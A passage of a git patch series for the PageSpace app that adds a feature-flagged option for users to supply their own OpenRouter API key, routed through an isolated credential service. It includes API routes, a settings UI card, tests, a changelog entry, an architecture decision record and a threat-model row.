+ mockAuthority.getModelKey.mockResolvedValue(account);
+ const body = await (await GET(req('GET'))).json();
+ expect(body).toEqual({ enabled: true, available: true, key: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' } });
+ });
+
+ it('given a person the admin has not enabled, should say so and read nothing', async () => {
+ mockFlag.mockResolvedValue(false);
+ const body = await (await GET(req('GET'))).json();
+ expect([body, mockAuthority.getModelKey.mock.calls.length]).toEqual([{ enabled: false, available: true, key: null }, 0]);
+ });
+});
+
+describe('DELETE /api/user/model-key', () => {
+ it('given the flag switched off since, should still let the person remove their key', async () => {
+ mockFlag.mockResolvedValue(false);
+ mockAuthority.removeModelKey.mockResolvedValue({ ok: true, account: null });
+ const response = await DELETE(req('DELETE'));
+ expect([response.status, mockAuthority.removeModelKey.mock.calls.length]).toEqual([200, 1]);
+ });
+});
diff --git a/apps/web/src/app/api/user/model-key/route.ts b/apps/web/src/app/api/user/model-key/route.ts
new file mode 100644
index 0000000000..e332a288cd
--- /dev/null
+++ b/apps/web/src/app/api/user/model-key/route.ts
@@ -0,0 +1,85 @@
+import { NextResponse } from 'next/server';
+import { z } from 'zod';
+import { authenticateRequestWithOptions, isAuthError } from '@/lib/auth';
+import { loggers } from '@pagespace/lib/logging/logger-config';
+import { auditRequest } from '@pagespace/lib/audit/audit-log';
+import { isOnPrem } from '@pagespace/lib/deployment-mode';
+import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository';
+import type { SafeAccount } from '@pagespace/lib/agent-accounts/to-safe-account';
+import { getAccountAuthority } from '@/lib/agent-accounts/account-authority-client';
+import { actorFromAuth } from '@/lib/auth/request-actor';
+
+const AUTH_OPTIONS_READ = { allow: ['session'] as const };
+const AUTH_OPTIONS_WRITE = { allow: ['session'] as const, requireCSRF: true };
+
+/** The key itself is validated by the authority; this only bounds what is read from the request. */
+const setModelKeyBody = z.object({ apiKey: z.string().min(1).max(600) }).strict();
+
+/** What the settings card may show: never the key, never a fragment of it. */
+function shownKey(account: SafeAccount | null) {
+ return account === null ? null : { id: account.id, createdAt: account.createdAt, lastUsedAt: account.lastUsedAt, status: account.status };
+}
+
+/**
+ * GET /api/user/model-key — whether the person may bring their own OpenRouter key (ADR 0009), whether this
+ * deployment can use one, and their key's metadata.
+ */
+export async function GET(request: Request) {
+ const auth = await authenticateRequestWithOptions(request, AUTH_OPTIONS_READ);
+ if (isAuthError(auth)) return auth.error;
+ const enabled = isOnPrem() ? false : await isFeatureEnabled('byok_model_key', auth.userId).catch(() => false);
+ const authority = getAccountAuthority();
+ if (!enabled || authority === null) return NextResponse.json({ enabled, available: authority !== null, key: null });
+ try {
+ const key = await authority.getModelKey({ actor: actorFromAuth(auth) });
+ return NextResponse.json({ enabled, available: true, key: shownKey(key) });
+ } catch (error) {
+ loggers.api.error('Error reading model key', error as Error);
+ return NextResponse.json({ error: 'Failed to read model key' }, { status: 500 });
+ }
+}
+
+/**
+ * PUT /api/user/model-key — store a new OpenRouter key. It goes to the credential plane once (write-only) and is
+ * never returned; any previous key is revoked.
+ */
+export async function PUT(request: Request) {
+ const auth = await authenticateRequestWithOptions(request, AUTH_OPTIONS_WRITE);
+ if (isAuthError(auth)) return auth.error;
+ if (isOnPrem() || !(await isFeatureEnabled('byok_model_key', auth.userId).catch(() => false))) return NextResponse.json({ error: 'not_enabled' }, { status: 403 });
+ const authority = getAccountAuthority();
+ if (authority === null) return NextResponse.json({ error: 'not_configured' }, { status: 503 });
+
+ const parsed = setModelKeyBody.safeParse(await request.json().catch(() => null));
+ if (!parsed.success) return NextResponse.json({ error: 'key_invalid' }, { status: 400 });
+
+ try {
+ const result = await authority.setModelKey({ actor: actorFromAuth(auth), apiKey: parsed.data.apiKey });
+ if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'key_invalid' ? 400 : 503 });
+ auditRequest(request, { eventType: 'auth.token.created', userId: auth.userId, resourceType: 'agent_account', resourceId: result.account?.id ?? 'model_key' });
+ return NextResponse.json({ key: shownKey(result.account) }, { status: 201 });
+ } catch (error) {
+ loggers.api.error('Error storing model key', error as Error);
+ return NextResponse.json({ error: 'Failed to store model key' }, { status: 500 });
+ }
+}
+
+/**
+ * DELETE /api/user/model-key — revoke the person's key; their calls go back to PageSpace's key. Allowed even
+ * after the flag was switched off, so a key can always be removed.
+ */
+export async function DELETE(request: Request) {
+ const auth = await authenticateRequestWithOptions(request, AUTH_OPTIONS_WRITE);
+ if (isAuthError(auth)) return auth.error;
+ const authority = getAccountAuthority();
+ if (authority === null) return NextResponse.json({ error: 'not_configured' }, { status: 503 });
+ try {
+ const result = await authority.removeModelKey({ actor: actorFromAuth(auth) });
+ if (!result.ok) return NextResponse.json({ error: result.reason }, { status: 503 });
+ auditRequest(request, { eventType: 'auth.token.revoked', userId: auth.userId, resourceType: 'agent_account', resourceId: 'model_key' });
+ return NextResponse.json({ key: null });
+ } catch (error) {
+ loggers.api.error('Error removing model key', error as Error);
+ return NextResponse.json({ error: 'Failed to remove model key' }, { status: 500 });
+ }
+}
diff --git a/apps/web/src/app/settings/ai/ModelKeyCard.tsx b/apps/web/src/app/settings/ai/ModelKeyCard.tsx
new file mode 100644
index 0000000000..a8e2e04bfe
--- /dev/null
+++ b/apps/web/src/app/settings/ai/ModelKeyCard.tsx
@@ -0,0 +1,149 @@
+'use client';
+
+/**
+ * "Use your own OpenRouter key" (ADR 0009). Shown only to people an admin enabled. The key is sent once to
+ * the credential plane and never shown again: this card knows only whether a key is set and when it was
+ * last used. Calls in org drives always use PageSpace's key, which the copy says plainly.
+ */
+import { useEffect, useId, useState } from 'react';
+import { toast } from 'sonner';
+import { KeyRound, ShieldCheck } from 'lucide-react';
+import { Button } from '@/components/ui/button';
+import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
+import { Input } from '@/components/ui/input';
+import { Label } from '@/components/ui/label';
+import { Badge } from '@/components/ui/badge';
+import { ApiRequestError, del, fetchWithAuth, put } from '@/lib/auth/auth-fetch';
+import { useEditingStore } from '@/stores/useEditingStore';
+
+type ShownKey = { readonly id: string; readonly createdAt: number; readonly lastUsedAt: number | null; readonly status: string };
+type ModelKeyState = { readonly enabled: boolean; readonly available: boolean; readonly key: ShownKey | null };
+
+const ERROR_COPY: Record = {
+ key_invalid: 'That does not look like an OpenRouter key. It starts with "sk-or-".',
+ not_enabled: 'Bringing your own key is not switched on for your account.',
+ not_configured: 'This deployment cannot store keys right now.',
+ plane_unavailable: 'Your key could not be stored right now. Try again in a moment.',
+ store_refused: 'Your key could not be stored. Try again in a moment.',
+};
+
+const formatTime = (ms: number | null) => (ms === null ? 'never' : new Date(ms).toLocaleString());
+
+export function ModelKeyCard() {
+ const [state, setState] = useState(null);
+ const [draft, setDraft] = useState('');
+ const [saving, setSaving] = useState(false);
+ const inputId = useId();
+ const componentId = useId();
+
+ useEffect(() => {
+ let cancelled = false;
+ (async () => {
+ try {
+ const response = await fetchWithAuth('/api/user/model-key');
+ if (!response.ok) throw new Error(String(response.status));
+ const json = (await response.json()) as ModelKeyState;
+ if (!cancelled) setState(json);
+ } catch {
+ if (!cancelled) setState({ enabled: false, available: false, key: null });
+ }
+ })();
+ return () => {
+ cancelled = true;
+ };
+ }, []);
+
+ // A half-typed key is unsaved input: keep SWR refreshes and auth refreshes from interrupting it.
+ useEffect(() => {
+ if (draft.length > 0) useEditingStore.getState().startEditing(componentId, 'form');
+ else useEditingStore.getState().endEditing(componentId);
+ return () => useEditingStore.getState().endEditing(componentId);
+ }, [draft, componentId]);
+
+ if (state === null || !state.enabled) return null;
+
+ async function save() {
+ setSaving(true);
+ try {
+ const result = await put<{ key: ShownKey }>('/api/user/model-key', { apiKey: draft });
+ setState((current) => (current === null ? current : { ...current, key: result.key }));
+ setDraft('');
+ toast.success('Your OpenRouter key is saved. Your model calls now run on it.');
+ } catch (error) {
+ const reason = error instanceof ApiRequestError ? (error.body as { error?: string } | undefined)?.error : undefined;
+ toast.error(ERROR_COPY[reason ?? ''] ?? 'Your key could not be saved.');
+ } finally {
+ setSaving(false);
+ }
+ }
+
+ async function remove() {
+ setSaving(true);
+ try {
+ await del('/api/user/model-key');
+ setState((current) => (current === null ? current : { ...current, key: null }));
+ toast.success('Your key is removed from PageSpace. It still works at OpenRouter until you revoke it there.');
+ } catch {
+ toast.error('Your key could not be removed right now.');
+ } finally {
+ setSaving(false);
+ }
+ }
+
+ return (
+
+
+
+
+ Use your own OpenRouter key
+ Preview
+
+
+ Your own model calls run on your OpenRouter key and are not charged PageSpace credits. Calls in an organization's drives always use PageSpace's key.
+
+
+
+
+
+
+ PageSpace never stores your key. It goes straight to an isolated credential service, is added to each request there, and can never be read back, by PageSpace or by an agent. For safety, create a separate key for PageSpace with a credit limit in your OpenRouter settings.
+
+
+
+ {!state.available ? (
+ This deployment cannot use your own key right now.
+ ) : state.key ? (
+
+
+
OpenRouter key set
+
+ Added {formatTime(state.key.createdAt)} · last used {formatTime(state.key.lastUsedAt)}
+
+
+
+ Remove
+
+
+ ) : null}
+
+ {state.available && (
+
+ )}
+
+
+ );
+}
diff --git a/apps/web/src/app/settings/ai/page.tsx b/apps/web/src/app/settings/ai/page.tsx
index 4a547cc202..7cf84919e8 100644
--- a/apps/web/src/app/settings/ai/page.tsx
+++ b/apps/web/src/app/settings/ai/page.tsx
@@ -9,6 +9,7 @@ import { toast } from 'sonner';
import { useRouter } from 'next/navigation';
import { fetchWithAuth } from '@/lib/auth/auth-fetch';
import { ImageGenerationCard } from './ImageGenerationCard';
+import { ModelKeyCard } from './ModelKeyCard';
interface ProviderAvailability {
isAvailable: boolean;
@@ -92,6 +93,8 @@ export default function AiSettingsPage() {
+
+
);
From 4d2755f472bf4fa657d8976fe793e7eceaccb286 Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 19:57:36 -0600
Subject: [PATCH 06/35] docs(byok): ADR 0009 (model keys through the credential
plane), threat-model residency row, changelog; routing tests (BYOK-1,
BYOK-11)
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
CHANGELOG.md | 7 ++
.../core/__tests__/model-key-source.test.ts | 29 +++++++
.../__tests__/plane-inference-fetch.test.ts | 44 ++++++++++
...model-keys-through-the-credential-plane.md | 85 +++++++++++++++++++
docs/security/agent-accounts-threat-model.md | 1 +
5 files changed, 166 insertions(+)
create mode 100644 apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts
create mode 100644 apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts
create mode 100644 docs/adr/0009-model-keys-through-the-credential-plane.md
diff --git a/CHANGELOG.md b/CHANGELOG.md
index d55998f8a2..0c8f159103 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -5,6 +5,13 @@ All notable user-facing changes to PageSpace are documented here. Format follows
## [Unreleased]
+- **Preview: bring your own OpenRouter key.** An admin can now turn this on for specific people in Admin → Feature Flags. Those people get a "Use your own OpenRouter key" card in Settings → AI.
+ - **Your own model calls run on your key and cost no PageSpace credits.** That covers chat, the global assistant, side questions, agent-to-agent calls, images and your automations. Pro-tier models are available on your key whatever your plan.
+ - **PageSpace never stores your key.** It goes once to an isolated credential service, is added to each request there, and is removed from anything that comes back. It can never be read back by PageSpace or by an agent, and agents cannot use it as a tool.
+ - **Calls in an organization's drives always use PageSpace's key**, so an org's content is never sent through a personal OpenRouter account.
+ - **If your key can't be used, the call stops with a message.** It never quietly switches to PageSpace's key. Usage on your key is capped at 1,200 calls an hour. For safety, create a separate OpenRouter key with a credit limit.
+ - Removing the key in Settings takes it out of PageSpace. It keeps working at OpenRouter until you revoke it there.
+
- **Imago: the message box floats over the chat, as it does in classic PageSpace.** There is no longer a ruled strip along the bottom of the chat. The box sits on its own card, and messages scroll up underneath it; the last message always stops just above it.
- **Imago on phones has a warmer, calmer look.** Screens sit on a soft stone background instead of stark white, and things are set apart by gentle shadows instead of thin lines.
- **No line under the top bar.** Ask and the chat's agent picker are now raised pills.
diff --git a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts
new file mode 100644
index 0000000000..5ff93a2edb
--- /dev/null
+++ b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts
@@ -0,0 +1,29 @@
+import { describe, it, expect } from 'vitest';
+import { decideModelKeySource, isBilledKeySource } from '../model-key-source';
+
+const base = { onPrem: false, backend: 'openrouter', flagEnabled: true, hasModelKey: true, orgGoverned: false, planeConfigured: true };
+
+describe('decideModelKeySource', () => {
+ it('given an enabled person with a key, on OpenRouter, outside any org, should use their key', () => {
+ expect(decideModelKeySource(base)).toEqual({ source: 'user_key' });
+ });
+
+ it('given the flag off, no key, a non-OpenRouter provider or on-prem, should use PageSpace\'s key exactly as before', () => {
+ const actual = [{ flagEnabled: false }, { hasModelKey: false }, { backend: 'glm' }, { backend: 'ollama' }, { onPrem: true }].map((change) => decideModelKeySource({ ...base, ...change }).source);
+ expect(actual).toEqual(['managed', 'managed', 'managed', 'managed', 'managed']);
+ });
+
+ it('given a call an org governs (its drive or its content), should use PageSpace\'s key, never the person\'s', () => {
+ expect(decideModelKeySource({ ...base, orgGoverned: true })).toEqual({ source: 'managed' });
+ });
+
+ it('given a call that would use the person\'s key but no credential plane, should refuse rather than run on PageSpace\'s key', () => {
+ expect(decideModelKeySource({ ...base, planeConfigured: false })).toEqual({ source: 'refused', reason: 'byok_unavailable' });
+ });
+});
+
+describe('isBilledKeySource', () => {
+ it('given the person\'s own key, should not bill; anything else, should', () => {
+ expect([isBilledKeySource('user_key'), isBilledKeySource('managed'), isBilledKeySource(undefined)]).toEqual([false, true, true]);
+ });
+});
diff --git a/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts b/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts
new file mode 100644
index 0000000000..8751a47de0
--- /dev/null
+++ b/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts
@@ -0,0 +1,44 @@
+/**
+ * The plane-backed fetch (ADR 0009). Pinned: it holds no key, sends only the pinned chat-completions URL
+ * through the authority with the exact body, and answers every refusal itself — never by reaching any
+ * other key or endpoint.
+ */
+import { describe, it, expect, vi } from 'vitest';
+import type { AccountAuthority } from '@pagespace/lib/agent-accounts/account-authority-executor';
+import { createPlaneInferenceFetch } from '../plane-inference-fetch';
+
+const context = { userId: 'user_1', sessionId: 'sess_1', conversationId: 'conv_1', runId: 'run_1' };
+const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [] });
+const authorityWith = (requestInference: AccountAuthority['requestInference']) => ({ requestInference }) as unknown as AccountAuthority;
+
+describe('createPlaneInferenceFetch', () => {
+ it('given a chat-completions request, should send the exact body for this person and return OpenRouter\'s answer', async () => {
+ const requestInference = vi.fn(async () => ({ ok: true as const, response: new Response('data: [DONE]\n\n', { status: 200, headers: { 'content-type': 'text/event-stream' } }) }));
+ const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(requestInference), context });
+ const response = await planeFetch('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body, headers: { authorization: 'Bearer held-by-the-credential-plane' } });
+ expect({ status: response.status, text: await response.text(), call: requestInference.mock.calls[0]?.[0] }).toEqual({
+ status: 200,
+ text: 'data: [DONE]\n\n',
+ call: { caller: { userId: 'user_1', sessionId: 'sess_1', conversationId: 'conv_1', runId: 'run_1' }, body, signal: undefined },
+ });
+ });
+
+ it('given any other URL, should refuse without asking the plane', async () => {
+ const requestInference = vi.fn();
+ const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(requestInference), context });
+ const response = await planeFetch('https://openrouter.ai/api/v1/auth/keys', { method: 'POST', body });
+ expect([response.status, requestInference.mock.calls.length]).toEqual([400, 0]);
+ });
+
+ it('given a refusal from the plane, should answer an OpenRouter-shaped error the person can read', async () => {
+ const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(async () => ({ ok: false as const, reason: 'limits_exceeded' as const })), context });
+ const response = await planeFetch('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body });
+ const json = (await response.json()) as { error: { message: string; metadata: { byok: string } } };
+ expect([response.status, json.error.metadata.byok, json.error.message.includes('limit')]).toEqual([429, 'limits_exceeded', true]);
+ });
+
+ it('given no credential plane at all, should refuse and never send anything', async () => {
+ const response = await createPlaneInferenceFetch({ authority: null, context })('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body });
+ expect(response.status).toBe(503);
+ });
+});
diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md
new file mode 100644
index 0000000000..58cf2e6a63
--- /dev/null
+++ b/docs/adr/0009-model-keys-through-the-credential-plane.md
@@ -0,0 +1,85 @@
+# ADR 0009 — A person's own model key, through the credential plane
+
+- **Status:** Accepted (preview; behind the `byok_model_key` feature flag, off for everyone until an admin enables it)
+- **Date:** 2026-11-29
+- **Deciders:** Jono (owner), 2026-11-29: "a feature flag in PageSpace admin where I can let people set their own API key — but I don't want to store the key myself … we have agent credentials now, we can use that … the zero-trust-compliant way".
+- **Related:** ADR 0004 (agent account authority: the grant, approvals, delegations), ADR 0005 (credential plane: the store, the executors, the deploy topology), threat model `docs/security/agent-accounts-threat-model.md`. PR #1191 retired the old BYOK, which stored keys encrypted in the main DB (`user_ai_settings`); this ADR brings the feature back without storing the key in the main DB or in the web process.
+- **Plan:** `Plans/BYOK/Plan — BYOK` (`v9nj6qhih7zl510vcbtnhlkt`), task codes BYOK-1..12.
+
+## Question
+
+How can a person pay for their own model calls with their own OpenRouter key, when PageSpace must never hold that key in the main DB or the web process, and the calls are made server-side, stream for minutes, take many steps per turn and may run with nobody present (workflows, crons, agent-to-agent)?
+
+The options:
+
+- **(a)** Keep the key in the browser and send it with each request. Rejected. It is readable by any XSS, it passes through the web process on every call, and an unattended run has no browser to send it.
+- **(b)** Use the plane's existing `/v1/http/execute`. Rejected. It is a buffered one-shot request: 20 s, 2 MiB, and a 256 KiB release cap. A model step is a stream.
+- **(c)** A sixth presenter, `inference-executor`, inside the credential plane, which streams one model call per grant. **Chosen.**
+
+## Decision
+
+1. **A model key is an agent account.** It is a user-owned `api_key` account with the reserved `providerSlug` `openrouter-model-key`, pinned to `https://openrouter.ai:443`. The plane stores it with an ingress `put` (write-only). No main-DB column, web variable or response carries it.
+2. **It is never an agent's tool.** `authorize` (http_request) refuses it as `kind_not_supported`, `listAccounts` hides it, and `changeable` refuses every edit, binding and delegation on it. Only `setModelKey`, `removeModelKey` and `authorizeInference` touch it.
+3. **New presenter `inference-executor`.**
+ - It resolves `api_key` only, and `api_key` reaches no executor besides HTTP and relay.
+ - Its method set is `POST`. Generic canonicalization refuses it, the same way `ssh-executor` is handled. The executor also refuses any account that is not a model key (`kind_not_resolvable`).
+4. **One grant per upstream request.**
+ - `authorizeInference` canonicalizes the exact body text: `POST /api/v1/chat/completions`, `content-type: application/json`, the SHA-256 of the body bytes, and `model` bound as a resource. It issues a one-use grant of at most 60 s, with `agentPageId: null` and `callerCeiling` empty.
+ - The plane recomputes the digest over the body it actually received, so a body changed in between is `digest_mismatch` and nothing is sent.
+ - The key belongs to the person's model calls, not to an agent page. A scoped token limits which drives a caller can reach, not whose key pays.
+5. **The human.**
+ - A live session stands for the person.
+ - When nobody is present, a delegation does, written when the key is added: `agentPageId: null`, scope = this origin and this operation only, 365 days. That covers every unattended run the person owns: workflows, crons, agent-to-agent and compaction. No ADR 0004 shape changes: a delegation with `agentPageId: null` already existed for the global assistant.
+6. **Approval is a bounded policy.**
+ - Operation `{ class: 'write', name: 'openrouter.chat_completion' }`: it spends money but is neither irreversible nor privileged.
+ - Trigger `irreversible_only`, with limits of 1,200 uses an hour, 1 GiB of request bytes an hour and 12 concurrent calls.
+ - The person never sees an approval card. A ceiling is a refusal (`limits_exceeded`), never a prompt.
+7. **The stream.** The route is `/v1/inference/stream`. Steps:
+ 1. Verify the HMAC on the plane call.
+ 2. Parse the grant.
+ 3. Gather the facts: the main-DB row, the delegation, and the plane's `describe`. The pinned origin must be OpenRouter, read from the plane, never from the row.
+ 4. Pass the grant gate: verify the grant and consume its one-use nonce.
+ 5. Reserve usage.
+ 6. Audit `allowed`.
+ 7. `resolve` the key and send over pinned-address HTTPS to `openrouter.ai`, with no redirects, no upgrades, `accept-encoding: identity`, 10 min and 64 MiB.
+ 8. Stream back. The key is removed from every byte in its raw and `Bearer` forms, safely across chunk boundaries. Only `content-type` (`text/event-stream` or `application/json`) and OpenRouter's status are released.
+ 9. Record the outcome (`executed` or `unknown`) when the stream ends.
+
+ If the web process disconnects, the upstream call is cancelled.
+8. **One decision about whose key runs (web).** `decideModelKeySource` returns `user_key` only when every one of these holds:
+ - the deployment is not on-prem;
+ - the backend is OpenRouter;
+ - the flag is on for the person;
+ - the person has an active model key;
+ - **no org governs the call or its content**.
+
+ Otherwise it returns `managed`. If the plane is not configured it returns `refused` (`byok_unavailable`). The credit gate, the provider factory and billing all act on that one decision.
+9. **No silent fallback.** On `user_key`, the provider is OpenRouter with a plane-backed `fetch` and no key. Every refusal is answered as an OpenRouter-shaped error the person reads in chat. Nothing routes from there to PageSpace's key, and `OPENROUTER_BASE_URL` never applies.
+10. **Billing.**
+ - A `user_key` call takes no credit hold and lifts the pro-tier model gate. The admin-only provider gate and org allowlists still apply.
+ - `ai_usage_logs.key_source = 'user_key'` is recorded, and the call is never settled, reconciled (`cost-reconcile`) or re-settled by the orphan sweep (`credit-backfill`).
+11. **Feature flag.**
+ - `feature_flags` holds a flag's default and `feature_flag_user_overrides` holds per-person settings. The keys are fixed in code (`FEATURE_FLAG_KEYS`).
+ - A flag nobody set is off. `byok_model_key` is off on-prem whatever is set.
+ - Admins change flags in Admin → Feature Flags (audited `admin.settings.changed`).
+
+## Invariants (each is a test)
+
+| # | Invariant | Test |
+|---|---|---|
+| I1 | The key is never in the main DB, the web process or a response | `model-key/__tests__/route.test.ts` (canary), e2e canary sweep |
+| I2 | One grant per upstream request; replay, changed body and other run are refused before sending | `executor/__tests__/inference-executor.test.ts` |
+| I3 | Only `https://openrouter.ai:443/api/v1/chat/completions`, read from the plane's binding | `inference-executor.test.ts`, `authorize-inference.test.ts`, `plane-inference-fetch.test.ts` |
+| I4 | The key is scrubbed from the stream, including when split across chunks | `inference/__tests__/stream-scrubber.test.ts`, e2e |
+| I5 | Audit `allowed` before send, outcome after the stream | `inference-executor.test.ts` |
+| I6 | Org-governed calls never use a person's key | `model-key-source.test.ts` |
+| I7 | A user-key call is never retried on PageSpace's key | `model-key-source.test.ts`, `plane-inference-fetch.test.ts` |
+| I8 | Spend is bounded (hourly and concurrent ceilings refuse) | `model-key.test.ts`, `authorize-inference.test.ts`, `inference-executor.test.ts` |
+
+## Consequences
+
+- A person's OpenRouter account sees the content of their own calls. That is the point. It is why I6 keeps org content off it.
+- The plane is now in the token path for these people. When it is unavailable, their calls fail with a clear message, and PageSpace's key is not used.
+- Each agent step costs one grant, one nonce write, one `describe`, one Infisical `resolve` and two audit rows. Q2 in the plan asks whether to cache the resolved key for the grant's TTL. The default is no cache, measured on staging.
+- Voice (direct OpenAI) is out of scope. It keeps PageSpace's key and billing.
+- A per-org "let members use their own keys" policy is a later slice. I6 is unconditional until then.
diff --git a/docs/security/agent-accounts-threat-model.md b/docs/security/agent-accounts-threat-model.md
index 29a37d6190..8e4444a448 100644
--- a/docs/security/agent-accounts-threat-model.md
+++ b/docs/security/agent-accounts-threat-model.md
@@ -97,6 +97,7 @@ Main-DB integrity is a stated dependency: authorization reads mutable rows (owne
| OAuth authorization code + PKCE verifier | the plane's OAuth handler (`integrations/oauth/oauth-handler.ts` moved behind the plane in G3); the code transits the browser redirect | until exchanged or expired (10 min, `oauth-state.ts`) | the model, the sandbox, logs |
| OAuth refresh token / client secret | the store; the **one** restricted refresh worker (ADR 0005 §5) | the refresh operation; no broker-wide cache | the HTTP executor and relay runner (they receive `OAuth2AccessMaterial`, which has no `refreshToken` field — ADR 0005 §4.2), Next.js, any second store (Λ5, D-24) |
| Access token / API key at use | the store; the assigned HTTP executor for one request | request duration; a cache, if any, is per `(accountId, credentialVersion)` with a documented TTL ≤ grant lifetime | sandbox env/argv/files (Λ1 today — accepted D-23, retired L4), git credential helpers, response bodies returned to the model |
+| A person's own model key (ADR 0009) | the user's browser on the Settings → AI form; `/api/user/model-key` (PUT) on its way to the plane's ingress `put`; the store; the **inference executor** for one streamed model call | the submission request; then one request per grant (≤ 60 s grant, ≤ 10 min stream); no cache | the main DB, the web process outside that one request, any response, the released stream (scrubbed raw and as `Bearer …`, split-chunk safe), tool results, chat messages, audit rows, every other executor (`http_request` refuses a model key) |
| Session state (cookies, storage-state) | the store (kind `session`, declared format S3 §5); the isolated browser worker's ephemeral context; the HTTP executor only under the default-off `session_http` permission via `resolveSessionOverHttp` (ADR 0005 §4.2) | active browser session or single request; the persistent copy is store ciphertext | the agent Sprite, Sprite checkpoints (browser holder excluded from `checkpoint-policy.ts`), screenshots/a11y snapshots during login |
| Human-typed password / MFA (D-20) | the human's client during enrollment; the store (kind `password`); the **browser-fill executor** inside the browser worker (L5c) | fill operation with observation blackout; then store ciphertext | the HTTP executor (a `password` kind is *unresolvable* there by type, ADR 0005 §4), the model, DOM read-back after fill, recordings |
| TOTP secret | the store (part of kind `password`); the browser worker computing one code | code generation only | anywhere else; the code itself is never returned to the model |
From ffe28448a0658c47c91557f4a343dda95f77b922 Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 19:59:37 -0600
Subject: [PATCH 07/35] test(seams): ledger the inference executor's
caller-ceiling read (it only narrows)
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts | 1 +
1 file changed, 1 insertion(+)
diff --git a/packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts b/packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts
index de4c5146bc..cc43967a75 100644
--- a/packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts
+++ b/packages/lib/src/__tests__/seams/key-scope-reads.seam.test.ts
@@ -206,6 +206,7 @@ const KEY_SCOPE_READ_LEDGER: Readonly> = {
'packages/lib/src/agent-accounts/executor/expected-binding-for.ts#expectedBindingFor': AGENT_ACCOUNTS,
'packages/lib/src/agent-accounts/executor/http-request-executor.ts#execute': AGENT_ACCOUNTS,
'packages/lib/src/agent-accounts/executor/ssh-command-executor.ts#execute': AGENT_ACCOUNTS,
+ 'packages/lib/src/agent-accounts/executor/inference-executor.ts#execute': AGENT_ACCOUNTS,
'packages/lib/src/permissions/decide-account-access.ts#decideAccountAccess': AGENT_ACCOUNTS,
'apps/web/src/lib/repositories/session-repository.ts#run': notAccess(
"the key's own mint / re-scope transaction. Settings routes bound the scope by validateDriveScopeAccess (the owner's live access, scopeWidensCaller); the OAuth path (applyKeyGrant) by checkGrantAuthority at consent, which is weaker (no scopeWidensCaller), and resolution intersects with the owner's current access either way",
From 7a14e8b66aff33cb90b3030877311f77bc3b37db Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 20:09:37 -0600
Subject: [PATCH 08/35] feat(billing): one key-source decision at every
model-call surface (BYOK-7, BYOK-10)
Global assistant, btw, consult, /v1/chat/completions, ask_agent, compaction,
memory, workflows, Zoom, pulse and channel mentions decide once whose key
runs (before their credit gate where the drive is known), skip the hold on the
person's own key, lift the pro-tier gate, and pass keySource to trackUsage.
A key is only ever the FUNDER's: when someone else pays (a manual Run's
presser, a drive wallet) the call stays on PageSpace's key.
Left on the old path, and still correct (the hold is released at settle):
workflow/trigger credit gates and pulse, which gate before the providers and
content drives are known.
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
.../api/ai/btw/__tests__/credit-gate.test.ts | 5 ++
.../app/api/ai/btw/__tests__/route.test.ts | 5 ++
apps/web/src/app/api/ai/btw/route.ts | 18 +++++-
.../messages/__tests__/credit-gate.test.ts | 64 ++++++++++++++++++-
.../__tests__/conversation-continuity.test.ts | 5 ++
.../conversation-listing-index.test.ts | 5 ++
.../consult/__tests__/credit-gate.test.ts | 20 +++++-
.../mcp-scope-tool-filtering.test.ts | 5 ++
.../new-conversation-history.test.ts | 5 ++
.../consult/__tests__/sandbox-switch.test.ts | 5 ++
.../consult/__tests__/step-cap-parity.test.ts | 5 ++
.../app/api/ai/page-agents/consult/route.ts | 33 ++++++++--
apps/web/src/app/api/pulse/cron/route.ts | 4 ++
apps/web/src/app/api/pulse/generate/route.ts | 4 ++
.../chat/completions/__tests__/route.test.ts | 13 +++-
.../src/app/api/v1/chat/completions/route.ts | 13 +++-
.../lib/ai/chat-pipeline/global-chat-turn.ts | 17 ++++-
.../__tests__/plane-inference-fetch.test.ts | 2 +-
.../ai/core/compaction/compaction-service.ts | 13 +++-
.../__tests__/image-generation-tools.test.ts | 9 ++-
.../lib/ai/tools/agent-communication-tools.ts | 30 +++++++--
.../__tests__/agent-mention-responder.test.ts | 3 +-
.../lib/channels/agent-mention-responder.ts | 11 +++-
.../src/lib/channels/mention-credit-gate.ts | 21 +++++-
.../integrations/zoom/extract-action-items.ts | 7 +-
.../lib/integrations/zoom/generate-summary.ts | 7 +-
apps/web/src/lib/memory/compaction-service.ts | 2 +
apps/web/src/lib/memory/discovery-service.ts | 2 +
.../web/src/lib/memory/integration-service.ts | 2 +
